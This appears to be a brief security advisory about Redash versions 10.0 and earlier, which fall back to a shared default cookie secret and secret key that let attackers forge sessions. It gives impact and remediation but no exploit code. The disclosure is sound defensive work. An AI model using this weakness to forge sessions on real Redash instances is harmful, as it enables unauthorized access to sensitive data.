Readycheck to confirm it

Redash Setup Configuration is vulnerable to default secrets disclosure (Insecure Default Initialization of Resource). If an admin sets up Redash versions <=10.0 and prior without explicitly specifying the `REDASH_COOKIE_SECRET` or `REDASH_SECRET_KEY` environment variables, a default value is used for both that is the same across all installations. In such cases, the instance is vulnerable to attackers being able to forge sessions using the known default value.

Impact

An attacker can gain unauthorized access to sensitive information and potentially compromise the Redash application.

Fix

Remove or update the default secrets in the Redash setup configuration file.
